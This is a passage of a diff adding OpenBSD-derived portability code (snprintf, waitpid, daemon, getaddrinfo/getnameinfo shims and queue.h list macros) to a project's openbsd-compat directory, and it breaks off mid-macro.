dopr_outch(buffer, currlen, maxlen, signvalue); + + /* Zeros */ + if (zpadlen > 0) { + while (zpadlen > 0) { + dopr_outch(buffer, currlen, maxlen, '0'); + --zpadlen; + } + } + + /* Digits */ + while (place > 0) + dopr_outch(buffer, currlen, maxlen, convert[--place]); + + /* Left Justified spaces */ + while (spadlen < 0) { + dopr_outch (buffer, currlen, maxlen, ' '); + ++spadlen; + } +} + +static long double +pow10(int exp) +{ + long double result = 1; + + while (exp) { + result *= 10; + exp--; + } + + return result; +} + +static long +round(long double value) +{ + long intpart = value; + + value -= intpart; + if (value >= 0.5) + intpart++; + + return intpart; +} + +static void +fmtfp(char *buffer, size_t *currlen, size_t maxlen, long double fvalue, + int min, int max, int flags) +{ + char iconvert[20]; + char fconvert[20]; + int signvalue = 0; + int iplace = 0; + int fplace = 0; + int padlen = 0; /* amount to pad */ + int zpadlen = 0; + int caps = 0; + long intpart; + long fracpart; + long double ufvalue; + + /* + * AIX manpage says the default is 0, but Solaris says the default + * is 6, and sprintf on AIX defaults to 6 + */ + if (max < 0) + max = 6; + + ufvalue = abs_val(fvalue); + + if (fvalue < 0) + signvalue = '-'; + else if (flags & DP_F_PLUS) /* Do a sign (+/i) */ + signvalue = '+'; + else if (flags & DP_F_SPACE) + signvalue = ' '; + + intpart = ufvalue; + + /* + * Sorry, we only support 9 digits past the decimal because of our + * conversion method + */ + if (max > 9) + max = 9; + + /* We "cheat" by converting the fractional part to integer by + * multiplying by a factor of 10 + */ + fracpart = round((pow10 (max)) * (ufvalue - intpart)); + + if (fracpart >= pow10 (max)) { + intpart++; + fracpart -= pow10 (max); + } + + /* Convert integer part */ + do { + iconvert[iplace++] = + (caps? "0123456789ABCDEF":"0123456789abcdef")[intpart % 10]; + intpart = (intpart / 10); + } while(intpart && (iplace < 20)); + if (iplace == 20) + iplace--; + iconvert[iplace] = 0; + + /* Convert fractional part */ + do { + fconvert[fplace++] = + (caps? "0123456789ABCDEF":"0123456789abcdef")[fracpart % 10]; + fracpart = (fracpart / 10); + } while(fracpart && (fplace < 20)); + if (fplace == 20) + fplace--; + fconvert[fplace] = 0; + + /* -1 for decimal point, another -1 if we are printing a sign */ + padlen = min - iplace - max - 1 - ((signvalue) ? 1 : 0); + zpadlen = max - fplace; + if (zpadlen < 0) + zpadlen = 0; + if (padlen < 0) + padlen = 0; + if (flags & DP_F_MINUS) + padlen = -padlen; /* Left Justifty */ + + if ((flags & DP_F_ZERO) && (padlen > 0)) { + if (signvalue) { + dopr_outch(buffer, currlen, maxlen, signvalue); + --padlen; + signvalue = 0; + } + while (padlen > 0) { + dopr_outch(buffer, currlen, maxlen, '0'); + --padlen; + } + } + while (padlen > 0) { + dopr_outch(buffer, currlen, maxlen, ' '); + --padlen; + } + if (signvalue) + dopr_outch(buffer, currlen, maxlen, signvalue); + + while (iplace > 0) + dopr_outch(buffer, currlen, maxlen, iconvert[--iplace]); + + /* + * Decimal point. This should probably use locale to find the correct + * char to print out. + */ + dopr_outch(buffer, currlen, maxlen, '.'); + + while (fplace > 0) + dopr_outch(buffer, currlen, maxlen, fconvert[--fplace]); + + while (zpadlen > 0) { + dopr_outch(buffer, currlen, maxlen, '0'); + --zpadlen; + } + + while (padlen < 0) { + dopr_outch(buffer, currlen, maxlen, ' '); + ++padlen; + } +} + +static void +dopr_outch(char *buffer, size_t *currlen, size_t maxlen, char c) +{ + if (*currlen < maxlen) + buffer[(*currlen)++] = c; +} +#endif /* !defined(HAVE_SNPRINTF) || !defined(HAVE_VSNPRINTF) */ + +#ifndef HAVE_VSNPRINTF +int +vsnprintf(char *str, size_t count, const char *fmt, va_list args) +{ + str[0] = 0; + dopr(str, count, fmt, args); + + return(strlen(str)); +} +#endif /* !HAVE_VSNPRINTF */ + +#ifndef HAVE_SNPRINTF +int +snprintf(char *str,size_t count,const char *fmt,...) +{ + va_list ap; + + va_start(ap, fmt); + (void) vsnprintf(str, count, fmt, ap); + va_end(ap); + + return(strlen(str)); +} + +#ifdef TEST_SNPRINTF +int +main(void) +{ +#define LONG_STRING 1024 + char buf1[LONG_STRING]; + char buf2[LONG_STRING]; + char *fp_fmt[] = { + "%-1.5f", + "%1.5f", + "%123.9f", + "%10.5f", + "% 10.5f", + "%+22.9f", + "%+4.9f", + "%01.3f", + "%4f", + "%3.1f", + "%3.2f", + NULL + }; + double fp_nums[] = { + -1.5, + 134.21, + 91340.2, + 341.1234, + 0203.9, + 0.96, + 0.996, + 0.9996, + 1.996, + 4.136, + 0 + }; + char *int_fmt[] = { + "%-1.5d", + "%1.5d", + "%123.9d", + "%5.5d", + "%10.5d", + "% 10.5d", + "%+22.33d", + "%01.3d", + "%4d", + "%lld", + "%qd", + NULL + }; + long long int_nums[] = { -1, 134, 91340, 341, 0203, 0, 9999999 }; + int x, y; + int fail = 0; + int num = 0; + + printf("Testing snprintf format codes against system sprintf...\n"); + + for (x = 0; fp_fmt[x] != NULL ; x++) { + for (y = 0; fp_nums[y] != 0 ; y++) { + snprintf(buf1, sizeof (buf1), fp_fmt[x], fp_nums[y]); + sprintf (buf2, fp_fmt[x], fp_nums[y]); + if (strcmp (buf1, buf2)) { + printf("snprintf doesn't match Format: %s\n\t" + "snprintf = %s\n\tsprintf = %s\n", + fp_fmt[x], buf1, buf2); + fail++; + } + num++; + } + } + for (x = 0; int_fmt[x] != NULL ; x++) { + for (y = 0; int_nums[y] != 0 ; y++) { + snprintf(buf1, sizeof (buf1), int_fmt[x], int_nums[y]); + sprintf(buf2, int_fmt[x], int_nums[y]); + if (strcmp (buf1, buf2)) { + printf("snprintf doesn't match Format: %s\n\t" + "snprintf = %s\n\tsprintf = %s\n", + int_fmt[x], buf1, buf2); + fail++; + } + num++; + } + } + printf("%d tests failed out of %d.\n", fail, num); + return(0); +} +#endif /* SNPRINTF_TEST */ + +#endif /* !HAVE_SNPRINTF */ diff --git a/other/ssharp/openbsd-compat/bsd-snprintf.h b/other/ssharp/openbsd-compat/bsd-snprintf.h new file mode 100644 index 0000000..c9cd4f9 --- /dev/null +++ b/other/ssharp/openbsd-compat/bsd-snprintf.h @@ -0,0 +1,19 @@ +/* $Id: bsd-snprintf.h,v 1.1.1.1 2001/09/19 14:44:59 stealth Exp $ */ + +#ifndef _BSD_SNPRINTF_H +#define _BSD_SNPRINTF_H + +#include "config.h" + +#include /* For size_t */ + +#ifndef HAVE_SNPRINTF +int snprintf(char *str, size_t count, const char *fmt, ...); +#endif /* !HAVE_SNPRINTF */ + +#ifndef HAVE_VSNPRINTF +int vsnprintf(char *str, size_t count, const char *fmt, va_list args); +#endif /* !HAVE_SNPRINTF */ + + +#endif /* _BSD_SNPRINTF_H */ diff --git a/other/ssharp/openbsd-compat/bsd-waitpid.c b/other/ssharp/openbsd-compat/bsd-waitpid.c new file mode 100644 index 0000000..9c62ece --- /dev/null +++ b/other/ssharp/openbsd-compat/bsd-waitpid.c @@ -0,0 +1,52 @@ +/* + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#include "includes.h" + +RCSID("$Id: bsd-waitpid.c,v 1.1.1.1 2001/09/19 14:44:59 stealth Exp $"); + +#ifndef HAVE_WAITPID +#include +#include +#include "bsd-waitpid.h" + +pid_t +waitpid(int pid, int *stat_loc, int options) +{ + union wait statusp; + pid_t wait_pid; + + if (pid <= 0) { + if (pid != -1) { + errno = EINVAL; + return -1; + } + pid = 0; /* wait4() wants pid=0 for indiscriminate wait. */ + } + wait_pid = wait4(pid, &statusp, options, NULL); + if (stat_loc) + *stat_loc = (int) statusp.w_status; + + return wait_pid; +} + +#endif /* !HAVE_WAITPID */ diff --git a/other/ssharp/openbsd-compat/bsd-waitpid.h b/other/ssharp/openbsd-compat/bsd-waitpid.h new file mode 100644 index 0000000..3f2a884 --- /dev/null +++ b/other/ssharp/openbsd-compat/bsd-waitpid.h @@ -0,0 +1,49 @@ +/* + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + */ + +/* $Id: bsd-waitpid.h,v 1.1.1.1 2001/09/19 14:44:59 stealth Exp $ */ + +#ifndef _BSD_WAITPID_H +#define _BSD_WAITPID_H + +#ifndef HAVE_WAITPID +/* Clean out any potental issues */ +#undef WIFEXITED +#undef WIFSTOPPED +#undef WIFSIGNALED + +/* Define required functions to mimic a POSIX look and feel */ +#define _W_INT(w) (*(int*)&(w)) /* convert union wait to int */ +#define WIFEXITED(w) (!((_W_INT(w)) & 0377)) +#define WIFSTOPPED(w) ((_W_INT(w)) & 0100) +#define WIFSIGNALED(w) (!WIFEXITED(w) && !WIFSTOPPED(w)) +#define WEXITSTATUS(w) (int)(WIFEXITED(w) ? ((_W_INT(w) >> 8) & 0377) : -1) +#define WTERMSIG(w) (int)(WIFSIGNALED(w) ? (_W_INT(w) & 0177) : -1) +#define WCOREFLAG 0x80 +#define WCOREDUMP(w) ((_W_INT(w)) & WCOREFLAG) + +/* Prototype */ +pid_t waitpid(int pid, int *stat_loc, int options); + +#endif /* !HAVE_WAITPID */ +#endif /* _BSD_WAITPID_H */ diff --git a/other/ssharp/openbsd-compat/daemon.c b/other/ssharp/openbsd-compat/daemon.c new file mode 100644 index 0000000..f704a90 --- /dev/null +++ b/other/ssharp/openbsd-compat/daemon.c @@ -0,0 +1,81 @@ +/*- + * Copyright (c) 1990, 1993 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by the University of + * California, Berkeley and its contributors. + * 4. Neither the name of the University nor the names of its contributors + * may be used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + */ + +#include "includes.h" + +#ifndef HAVE_DAEMON + +#if defined(LIBC_SCCS) && !defined(lint) +static char rcsid[] = "$OpenBSD: daemon.c,v 1.2 1996/08/19 08:22:13 tholo Exp $"; +#endif /* LIBC_SCCS and not lint */ + +int +daemon(nochdir, noclose) + int nochdir, noclose; +{ + int fd; + + switch (fork()) { + case -1: + return (-1); + case 0: + break; + default: +#ifdef HAVE_CYGWIN + /* + * This sleep avoids a race condition which kills the + * child process if parent is started by a NT/W2K service. + */ + sleep(1); +#endif + _exit(0); + } + + if (setsid() == -1) + return (-1); + + if (!nochdir) + (void)chdir("/"); + + if (!noclose && (fd = open(_PATH_DEVNULL, O_RDWR, 0)) != -1) { + (void)dup2(fd, STDIN_FILENO); + (void)dup2(fd, STDOUT_FILENO); + (void)dup2(fd, STDERR_FILENO); + if (fd > 2) + (void)close (fd); + } + return (0); +} + +#endif /* !HAVE_DAEMON */ + diff --git a/other/ssharp/openbsd-compat/daemon.h b/other/ssharp/openbsd-compat/daemon.h new file mode 100644 index 0000000..bfab99c --- /dev/null +++ b/other/ssharp/openbsd-compat/daemon.h @@ -0,0 +1,11 @@ +/* $Id: daemon.h,v 1.1.1.1 2001/09/19 14:44:59 stealth Exp $ */ + +#ifndef _BSD_DAEMON_H +#define _BSD_DAEMON_H + +#include "config.h" +#ifndef HAVE_DAEMON +int daemon(int nochdir, int noclose); +#endif /* !HAVE_DAEMON */ + +#endif /* _BSD_DAEMON_H */ diff --git a/other/ssharp/openbsd-compat/fake-gai-errnos.h b/other/ssharp/openbsd-compat/fake-gai-errnos.h new file mode 100644 index 0000000..0787bdc --- /dev/null +++ b/other/ssharp/openbsd-compat/fake-gai-errnos.h @@ -0,0 +1,14 @@ +/* + * fake library for ssh + * + * This file is included in getaddrinfo.c and getnameinfo.c. + * See getaddrinfo.c and getnameinfo.c. + */ + +/* $Id: fake-gai-errnos.h,v 1.1.1.1 2001/09/19 14:44:59 stealth Exp $ */ + +/* for old netdb.h */ +#ifndef EAI_NODATA +#define EAI_NODATA 1 +#define EAI_MEMORY 2 +#endif diff --git a/other/ssharp/openbsd-compat/fake-getaddrinfo.c b/other/ssharp/openbsd-compat/fake-getaddrinfo.c new file mode 100644 index 0000000..c5af9ce --- /dev/null +++ b/other/ssharp/openbsd-compat/fake-getaddrinfo.c @@ -0,0 +1,121 @@ +/* + * fake library for ssh + * + * This file includes getaddrinfo(), freeaddrinfo() and gai_strerror(). + * These funtions are defined in rfc2133. + * + * But these functions are not implemented correctly. The minimum subset + * is implemented for ssh use only. For exapmle, this routine assumes + * that ai_family is AF_INET. Don't use it for another purpose. + */ + +#include "includes.h" +#include "ssh.h" + +RCSID("$Id: fake-getaddrinfo.c,v 1.1.1.1 2001/09/19 14:44:59 stealth Exp $"); + +#ifndef HAVE_GAI_STRERROR +char *gai_strerror(int ecode) +{ + switch (ecode) { + case EAI_NODATA: + return "no address associated with hostname."; + case EAI_MEMORY: + return "memory allocation failure."; + default: + return "unknown error."; + } +} +#endif /* !HAVE_GAI_STRERROR */ + +#ifndef HAVE_FREEADDRINFO +void freeaddrinfo(struct addrinfo *ai) +{ + struct addrinfo *next; + + do { + next = ai->ai_next; + free(ai); + } while (NULL != (ai = next)); +} +#endif /* !HAVE_FREEADDRINFO */ + +#ifndef HAVE_GETADDRINFO +static struct addrinfo *malloc_ai(int port, u_long addr) +{ + struct addrinfo *ai; + + ai = malloc(sizeof(struct addrinfo) + sizeof(struct sockaddr_in)); + if (ai == NULL) + return(NULL); + + memset(ai, 0, sizeof(struct addrinfo) + sizeof(struct sockaddr_in)); + + ai->ai_addr = (struct sockaddr *)(ai + 1); + /* XXX -- ssh doesn't use sa_len */ + ai->ai_addrlen = sizeof(struct sockaddr_in); + ai->ai_addr->sa_family = ai->ai_family = AF_INET; + + ((struct sockaddr_in *)(ai)->ai_addr)->sin_port = port; + ((struct sockaddr_in *)(ai)->ai_addr)->sin_addr.s_addr = addr; + + return(ai); +} + +int getaddrinfo(const char *hostname, const char *servname, + const struct addrinfo *hints, struct addrinfo **res) +{ + struct addrinfo *cur, *prev = NULL; + struct hostent *hp; + struct in_addr in; + int i, port; + + if (servname) + port = htons(atoi(servname)); + else + port = 0; + + if (hints && hints->ai_flags & AI_PASSIVE) { + if (NULL != (*res = malloc_ai(port, htonl(0x00000000)))) + return 0; + else + return EAI_MEMORY; + } + + if (!hostname) { + if (NULL != (*res = malloc_ai(port, htonl(0x7f000001)))) + return 0; + else + return EAI_MEMORY; + } + + if (inet_aton(hostname, &in)) { + if (NULL != (*res = malloc_ai(port, in.s_addr))) + return 0; + else + return EAI_MEMORY; + } + + hp = gethostbyname(hostname); + if (hp && hp->h_name && hp->h_name[0] && hp->h_addr_list[0]) { + for (i = 0; hp->h_addr_list[i]; i++) { + cur = malloc_ai(port, ((struct in_addr *)hp->h_addr_list[i])->s_addr); + if (cur == NULL) { + if (*res) + freeaddrinfo(*res); + return EAI_MEMORY; + } + + if (prev) + prev->ai_next = cur; + else + *res = cur; + + prev = cur; + } + return 0; + } + + return EAI_NODATA; +} +#endif /* !HAVE_GETADDRINFO */ diff --git a/other/ssharp/openbsd-compat/fake-getaddrinfo.h b/other/ssharp/openbsd-compat/fake-getaddrinfo.h new file mode 100644 index 0000000..dbc398e --- /dev/null +++ b/other/ssharp/openbsd-compat/fake-getaddrinfo.h @@ -0,0 +1,47 @@ +/* $Id: fake-getaddrinfo.h,v 1.1.1.1 2001/09/19 14:44:59 stealth Exp $ */ + +#ifndef _FAKE_GETADDRINFO_H +#define _FAKE_GETADDRINFO_H + +#include "config.h" + +#include "fake-gai-errnos.h" + +#ifndef AI_PASSIVE +# define AI_PASSIVE 1 +# define AI_CANONNAME 2 +#endif + +#ifndef NI_NUMERICHOST +# define NI_NUMERICHOST 2 +# define NI_NAMEREQD 4 +# define NI_NUMERICSERV 8 +#endif + +#ifndef HAVE_STRUCT_ADDRINFO +struct addrinfo { + int ai_flags; /* AI_PASSIVE, AI_CANONNAME */ + int ai_family; /* PF_xxx */ + int ai_socktype; /* SOCK_xxx */ + int ai_protocol; /* 0 or IPPROTO_xxx for IPv4 and IPv6 */ + size_t ai_addrlen; /* length of ai_addr */ + char *ai_canonname; /* canonical name for hostname */ + struct sockaddr *ai_addr; /* binary address */ + struct addrinfo *ai_next; /* next structure in linked list */ +}; +#endif /* !HAVE_STRUCT_ADDRINFO */ + +#ifndef HAVE_GETADDRINFO +int getaddrinfo(const char *hostname, const char *servname, + const struct addrinfo *hints, struct addrinfo **res); +#endif /* !HAVE_GETADDRINFO */ + +#ifndef HAVE_GAI_STRERROR +char *gai_strerror(int ecode); +#endif /* !HAVE_GAI_STRERROR */ + +#ifndef HAVE_FREEADDRINFO +void freeaddrinfo(struct addrinfo *ai); +#endif /* !HAVE_FREEADDRINFO */ + +#endif /* _FAKE_GETADDRINFO_H */ diff --git a/other/ssharp/openbsd-compat/fake-getnameinfo.c b/other/ssharp/openbsd-compat/fake-getnameinfo.c new file mode 100644 index 0000000..172b58d --- /dev/null +++ b/other/ssharp/openbsd-compat/fake-getnameinfo.c @@ -0,0 +1,55 @@ +/* + * fake library for ssh + * + * This file includes getnameinfo(). + * These funtions are defined in rfc2133. + * + * But these functions are not implemented correctly. The minimum subset + * is implemented for ssh use only. For exapmle, this routine assumes + * that ai_family is AF_INET. Don't use it for another purpose. + */ + +#include "includes.h" +#include "ssh.h" + +RCSID("$Id: fake-getnameinfo.c,v 1.1.1.1 2001/09/19 14:44:59 stealth Exp $"); + +#ifndef HAVE_GETNAMEINFO +int getnameinfo(const struct sockaddr *sa, size_t salen, char *host, + size_t hostlen, char *serv, size_t servlen, int flags) +{ + struct sockaddr_in *sin = (struct sockaddr_in *)sa; + struct hostent *hp; + char tmpserv[16]; + + if (serv) { + snprintf(tmpserv, sizeof(tmpserv), "%d", ntohs(sin->sin_port)); + if (strlen(tmpserv) >= servlen) + return EAI_MEMORY; + else + strcpy(serv, tmpserv); + } + + if (host) { + if (flags & NI_NUMERICHOST) { + if (strlen(inet_ntoa(sin->sin_addr)) >= hostlen) + return EAI_MEMORY; + + strcpy(host, inet_ntoa(sin->sin_addr)); + return 0; + } else { + hp = gethostbyaddr((char *)&sin->sin_addr, + sizeof(struct in_addr), AF_INET); + if (hp == NULL) + return EAI_NODATA; + + if (strlen(hp->h_name) >= hostlen) + return EAI_MEMORY; + + strcpy(host, hp->h_name); + return 0; + } + } + return 0; +} +#endif /* !HAVE_GETNAMEINFO */ diff --git a/other/ssharp/openbsd-compat/fake-getnameinfo.h b/other/ssharp/openbsd-compat/fake-getnameinfo.h new file mode 100644 index 0000000..8177cae --- /dev/null +++ b/other/ssharp/openbsd-compat/fake-getnameinfo.h @@ -0,0 +1,20 @@ +/* $Id: fake-getnameinfo.h,v 1.1.1.1 2001/09/19 14:44:59 stealth Exp $ */ + +#ifndef _FAKE_GETNAMEINFO_H +#define _FAKE_GETNAMEINFO_H + +#include "config.h" + +#ifndef HAVE_GETNAMEINFO +int getnameinfo(const struct sockaddr *sa, size_t salen, char *host, + size_t hostlen, char *serv, size_t servlen, int flags); +#endif /* !HAVE_GETNAMEINFO */ + +#ifndef NI_MAXSERV +# define NI_MAXSERV 32 +#endif /* !NI_MAXSERV */ +#ifndef NI_MAXHOST +# define NI_MAXHOST 1025 +#endif /* !NI_MAXHOST */ + +#endif /* _FAKE_GETNAMEINFO_H */ diff --git a/other/ssharp/openbsd-compat/fake-queue.h b/other/ssharp/openbsd-compat/fake-queue.h new file mode 100644 index 0000000..269af41 --- /dev/null +++ b/other/ssharp/openbsd-compat/fake-queue.h @@ -0,0 +1,490 @@ +/* $OpenBSD: queue.h,v 1.16 2000/09/07 19:47:59 art Exp $ */ +/* $NetBSD: queue.h,v 1.11 1996/05/16 05:17:14 mycroft Exp $ */ + +/* + * Copyright (c) 1991, 1993 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by the University of + * California, Berkeley and its contributors. + * 4. Neither the name of the University nor the names of its contributors + * may be used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + * @(#)queue.h 8.5 (Berkeley) 8/20/94 + */ + +#ifndef _SYS_QUEUE_H_ +#define _SYS_QUEUE_H_ + +/* + * This file defines five types of data structures: singly-linked lists, + * lists, simple queues, tail queues, and circular queues. + * + * + * A singly-linked list is headed by a single forward pointer. The elements + * are singly linked for minimum space and pointer manipulation overhead at + * the expense of O(n) removal for arbitrary elements. New elements can be + * added to the list after an existing element or at the head of the list. + * Elements being removed from the head of the list should use the explicit + * macro for this purpose for optimum efficiency. A singly-linked list may + * only be traversed in the forward direction. Singly-linked lists are ideal + * for applications with large datasets and few or no removals or for + * implementing a LIFO queue. + * + * A list is headed by a single forward pointer (or an array of forward + * pointers for a hash table header). The elements are doubly linked + * so that an arbitrary element can be removed without a need to + * traverse the list. New elements can be added to the list before + * or after an existing element or at the head of the list. A list + * may only be traversed in the forward direction. + * + * A simple queue is headed by a pair of pointers, one the head of the + * list and the other to the tail of the list. The elements are singly + * linked to save space, so elements can only be removed from the + * head of the list. New elements can be added to the list before or after + * an existing element, at the head of the list, or at the end of the + * list. A simple queue may only be traversed in the forward direction. + * + * A tail queue is headed by a pair of pointers, one to the head of the + * list and the other to the tail of the list. The elements are doubly + * linked so that an arbitrary element can be removed without a need to + * traverse the list. New elements can be added to the list before or + * after an existing element, at the head of the list, or at the end of + * the list. A tail queue may be traversed in either direction. + * + * A circle queue is headed by a pair of pointers, one to the head of the + * list and the other to the tail of the list. The elements are doubly + * linked so that an arbitrary element can be removed without a need to + * traverse the list. New elements can be added to the list before or after + * an existing element, at the head of the list, or at the end of the list. + * A circle queue may be traversed in either direction, but has a more + * complex end of list detection. + * + * For details on the use of these macros, see the queue(3) manual page. + */ + +/* + * Singly-linked List definitions. + */ +#define SLIST_HEAD(name, type) \ +struct name { \ + struct type *slh_first; /* first element */ \ +} + +#define SLIST_HEAD_INITIALIZER(head) \ + { NULL } + +#define SLIST_ENTRY(type) \ +struct { \ + struct type *sle_next; /* next element */ \ +} + +/* + * Singly-linked List access methods. + */ +#define SLIST_FIRST(head) ((head)->slh_first) +#define SLIST_END(head) NULL +#define SLIST_EMPTY(head) (SLIST_FIRST(head) == SLIST_END(head)) +#define SLIST_NEXT(elm, field) ((elm)->field.sle_next) + +#define SLIST_FOREACH(var, head, field) \ + for((var) = SLIST_FIRST(head); \ + (var) != SLIST_END(head); \ + (var) = SLIST_NEXT(var, field)) + +/* + * Singly-linked List functions. + */ +#define SLIST_INIT(head) { \ + SLIST_FIRST(head) = SLIST_END(head); \ +} + +#define SLIST_INSERT_AFTER(slistelm, elm, field) do { \ + (elm)->field.sle_next = (slistelm)->field.sle_next; \ + (slistelm)->field.sle_next = (elm); \ +} while (0) + +#define SLIST_INSERT_HEAD(head, elm, field) do { \ + (elm)->field.sle_next = (head)->slh_first; \ + (head)->slh_first = (elm); \ +} while (0) + +#define SLIST_REMOVE_HEAD(head, field) do { \ + (head)->slh_first = (head)->slh_first->field.sle_next; \ +} while (0) + +/* + * List definitions. + */ +#define LIST_HEAD(name, type) \ +struct name { \ + struct type *lh_first; /* first element */ \ +} + +#define LIST_HEAD_INITIALIZER(head) \ + { NULL } + +#define LIST_ENTRY(type) \ +struct { \ + struct type *le_next; /* next element */ \ + struct type **le_prev; /* address of previous next element */ \ +} + +/* + * List access methods + */ +#define LIST_FIRST(head) ((head)->lh_first) +#define LIST_END(head) NULL +#define LIST_EMPTY(head) (LIST_FIRST(head) == LIST_END(head)) +#define LIST_NEXT(elm, field) ((elm)->field.le_next) + +#define LIST_FOREACH(var, head, field) \ + for((var) = LIST_FIRST(head); \ + (var)!= LIST_END(head); \ + (var) = LIST_NEXT(var, field)) + +/* + * List functions. + */ +#define LIST_INIT(head) do { \ + LIST_FIRST(head) = LIST_END(head); \ +} while (0) + +#define LIST_INSERT_AFTER(listelm, elm, field) do { \ + if (((elm)->field.le_next = (listelm)->field.le_next) != NULL) \ + (listelm)->field.le_next->field.le_prev = \ + &(elm)->field.le_next; \ + (listelm)->field.le_next = (elm); \ + (elm)->field.le_prev = &(listelm)->field.le_next; \ +} while (0) + +#define LIST_INSERT_BEFORE(listelm, elm, field) do { \ + (elm)->field.le_prev = (listelm)->field.le_prev; \ + (elm)->field.le_next = (listelm); \ + *(listelm)->field.le_prev = (elm); \ + (listelm)->field.le_prev = &(elm)->field.le_next; \ +} while (0) + +#define LIST_INSERT_HEAD(head, elm, field) do { \ + if (((elm)->field.le_next = (head)->lh_first) != NULL) \ + (head)->lh_first->field.le_prev = &(elm)->field.le_next;\ + (head)->lh_first = (elm); \ + (elm)->field.le_prev = &(head)->lh_first; \ +} while (0) + +#define LIST_REMOVE(elm, field) do { \ + if ((elm)->field.le_next != NULL) \ + (elm)->field.le_next->field.le_prev = \ + (elm)->field.le_prev; \ + *(elm)->field.le_prev = (elm)->field.le_next; \ +} while (0) + +#define LIST_REPLACE(elm, elm2, 